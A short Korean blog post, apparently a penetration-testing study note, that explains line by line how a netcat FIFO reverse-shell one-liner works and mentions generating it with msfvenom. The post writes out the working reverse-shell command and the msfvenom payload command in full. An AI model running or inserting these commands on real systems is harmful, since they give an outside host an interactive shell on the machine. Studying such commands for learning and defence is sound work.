rm /tmp/fifo;mkfifo /tmp/fifo;cat /tmp/fifo | /bin/sh -i 2>&1 | nc 10.10.10.10 4443 >/tmp/fifo
fifo : 서로 다른 프로세스 간 통신에 사용되는 파이프
* 본래 pipe는 부모-자식 간에만 이용 가능
- fifo 파일이 이미 존재하는 경우 에러가 발생하기에 삭제
- fifo 파일 생성
- cat tmp/fifo : fifo 파일 읽어와서 표준출력
- 읽은 데이터를 /bin/sh 로 전달하여 실행
* -i : 대화형 쉘
- nc 10.10.10.10 4443 > /tmp/fifo : nc연결시도ㅡ, 그 출력을 fifo로
대충 이런 의미인 듯 하다.
참고로 msfvemon 명령으로도 위 명령생성 가능함
msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.10.10 LPORT=4443
'보안 > 침투' 카테고리의 다른 글
Metasploit msfvenom 통한 쉘코드 생성 (0) | 2023.03.30 |
---|